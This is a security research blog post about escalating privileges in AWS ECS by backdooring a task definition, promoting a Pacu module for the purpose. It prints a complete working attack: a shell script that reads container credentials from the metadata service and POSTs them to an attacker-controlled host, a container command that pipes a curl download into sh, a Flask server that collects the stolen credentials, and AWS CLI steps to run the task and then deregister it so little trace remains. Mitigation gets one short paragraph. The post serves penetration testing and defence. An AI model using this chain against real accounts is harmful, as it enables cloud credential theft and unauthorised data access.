Introduction: Learn to Exploit ECS Task Definitions to Steal Information
Using containers to host applications in cloud environments is an increasingly popular deployment model in AWS. Due to this trend, researchers at Rhino Security Labs explored how these containers can be abused to steal information or escalate privileges within an AWS environment. Part of this research explored how weaponizing AWS ECS task definitions can be used to accomplish this task. Previously, task definitions served as a great way to find hardcoded secrets, however, task definitions seemed to have the potential to offer more. The result of this research discovered that task definitions can be used to potentially escalate privileges in an AWS environment by stealing credentials from running containers using the ECS Task Metadata Service. This article will highlight a new method of privilege escalation that utilizes ECS task definitions to elevate privileges in an AWS environment.
Attack Path: Low Level Privileges to Assuming the Elevated Role
Attack Explained: Attaching Task Roles to Containers
This attack is very similar to an existing privilege escalation method “Creating an EC2 instance with an existing instance profile”, where an attacker would create a new EC2 instance, attach an instance profile then ssh into the instance and get the credentials from the metadata service. Similar to attaching IAM roles to EC2 instances to give them access to additional resources, Task Roles can be attached to containers. This is required if you need containers to be able to access additional resources such as S3 buckets. Instead of using ssh to call the EC2 Metadata Service, this attack revolves around using the “command” parameter in the container definitions section of ECS task definitions, to drop a shell script onto running containers that will exfiltrate credentials via HTTP POST requests.
With this attack, credentials for these Task Roles can be stolen with no impact to the client environment. This is due to a very simple concept in the way containers work and in the typical design of containers running in ECS. First off, in a typical AWS architecture using ECS to host applications, Clusters will be used to host services that will be used to specify containers to run. Services are important to running containerized applications as they specify which task definitions to run and the networking configurations for those tasks. The initial belief was that for this attack to work, a malicious revision of a task definition would need to be created and the service running that task definition would also need to be updated. This can potentially cause issues in client environments as you are altering a key piece in hosting their application. However, it was realized that this approach was unnecessary and tasks can be started easily using the “run-task” API call. The second key piece in this attack not affecting client environments lies in the way that containers are created. When a container is started and is not running something such as a web app, it will start and immediately shut down. This action can be observed using docker. Run the command “docker run alpine:latest” the container starts but if you then run “docker ps” you will not see a listing for this container. The same concept applies to containers in ECS, if you start a task, resources for the container will be provisioned and it will start, but immediately stop. This behavior greatly benefits attackers as startup commands will still run and there will be no added containers. There will still be logs of containers being created, but due to the desire for containers to be scalable, this behavior will generally be expected and is unlikely to raise suspicion. Executing this attack is as simple as making a new task definition revision with a startup command that will pull a shell script from a server you are hosting, run the new task definition, and deregister the new task definition after credentials are received.
Performing the Attack: Environment Set-up in Pacu
This attack can be performed easily by utilizing the newly created Pacu module, ecs__backdoor_task_def. The module will take a task definition ARN, cluster ARN, IP/domain and port, subnet ID, and security group ID as input. The module will then output multiple files with detailed instructions for how to perform the attack in the <path to pacu>/sessions/<session name>/downloads/ecs__backdoor_task_def folder. The following are examples of the output that will be created.
To run the malicious task definition follow the instructions below... 1) Place app.py, run.sh, and 61x7b9vj0s.sh in the same directory on the server specified 2) Run run.sh to install flask and to start the app 3) Run the following command to start the task definition: aws ecs run-task --task-definition arn:aws:ecs:us-east-1:XXXXXXXXXXXX:task-definition/flask-app-task:8 --cluster arn:aws:ecs:us-east-1:XXXXXXXXXXXX:cluster/default1 --launch-type FARGATE --network-configuration '{"awsvpcConfiguration":{"subnets":["subnet-XXXX"],"securityGroups":["XXXX"],"assignPublicIp":"ENABLED"}}' 4) Deregister the malicious task definition with the following command: aws ecs deregister-task-definition --task-definition arn:aws:ecs:us-east-1:XXXXXXXXXXXX:task-definition/flask-app-task:8
Instructions.txt
#!/bin/sh sudo pip3 install -r requirements.txt python3 app.py
Run.sh
#!/usr/bin/python3 from flask import Flask,request import json app = Flask(__name__) @app.route("/") def deliver_payload(): with open("61x7b9vj0s.sh","r") as f: script=f.read() return script @app.route("/post",methods=["POST"]) def post(): data=json.loads(request.form.get("id")) data["Token"] = data["Token"].replace(" ","+") with open("credentials.txt","a") as f: f.write(json.dumps(data)) return '' if __name__ == "__main__": app.run(host="0.0.0.0",port=8080)
App.py
#!/bin/sh ecs_uri=$(echo $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) curl http://169.254.170.2$ecs_uri -o meta.txt curl http://<IP ADDR>:<PORT>/post -d "id=$(cat meta.txt)"
"containerDefinitions": [ { "dnsSearchDomains": null, "logConfiguration": null, "entryPoint": [ "sh", "-c" ], "portMappings": [ { "hostPort": 80, "protocol": "tcp", "containerPort": 80 } ], "command": [ "curl http://<IP ADDR>:<PORT>/ | sh" ],
Malicious Task Definition
Putting the Pieces Together
Each file created by the ecs__backdoor_task_def module serves a specific purpose. Beginning with run.sh, this script serves to install the dependencies and start the application to host the script and receive credentials. App.py is a simple Flask app that serves two purposes. First, it hosts the shell script that is retrieved with an easy GET request. Second, the “/post” endpoint will accept a post request with the “id” parameter and will write the retrieved data to a file titled “credentials.txt”. The malicious task definition will always be of type Fargate. Due to this the shell script payload will first reach the environment variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI. This returns a path to get where the credentials are stored. Next, the script makes a call to the meta-data service and stores the output in a file called “meta.txt”. A curl request will then send the output of “meta.txt” in a POST request. Finally, a small excerpt of the malicious container definition is shown. The changes that are being made is the entry point is changed to “sh -c” and the command is altered to use curl to request and execute the hosted shell script. Another important change to note is that the image is changed to “python:latest” this is because the python image comes with curl. Curl is ideal for this attack as the result of the curl command can easily be piped to sh to run the script. The instructions.txt file also contains two AWS CLI commands that will run the task and deregister the malicious task definition.
Attack in Action: Example AWS Attack Scenario
This section will go through an example attack scenario. I will be starting as a low-level Dev role with access to ECS. Through this attack, I will gain access to an S3 bucket containing sensitive information.
Here it can be seen that the account I am currently using does not have access to S3 but does have access to ECS.
After the module is complete, I start the Flask app on an EC2 instance with a publicly accessible IP and run the task using the command created in instructions.txt. During the course of this example, I had a task running under a service that used the same task definition family that I was attacking. This was done to demonstrate that this will not impact the client environment.
After the attack succeeds, credentials are now stored within “credentials.txt” and can be used to gain access to the role being attacked.
Once the credentials are configured to be used with the AWS CLI, S3 can now be accessed and the bucket can be downloaded.
Mitigating Risk: the Rule of Least Privilege
To mitigate your environment’s risk to this attack it is important to ensure that the Task Roles attached to ECS task definitions are following the principle of least privilege. If it is necessary to have a task definition run a role that requires an elevated level of permission, ensure that that task definition cannot be altered by everyone.
Conclusion
This attack provides a new potential method of privilege escalation in target AWS environments. While this attack has little impact on the client environment, it is still necessary for someone performing this attack to understand what is being done. After the attack succeeds, the newly created task definition is properly deregistered and ensures that the client’s environment is in the same state as before this attack was performed. This attack is available as a module within Pacu, the open source AWS exploitation framework developed by Rhino Security Labs, and can be found on our GitHub here.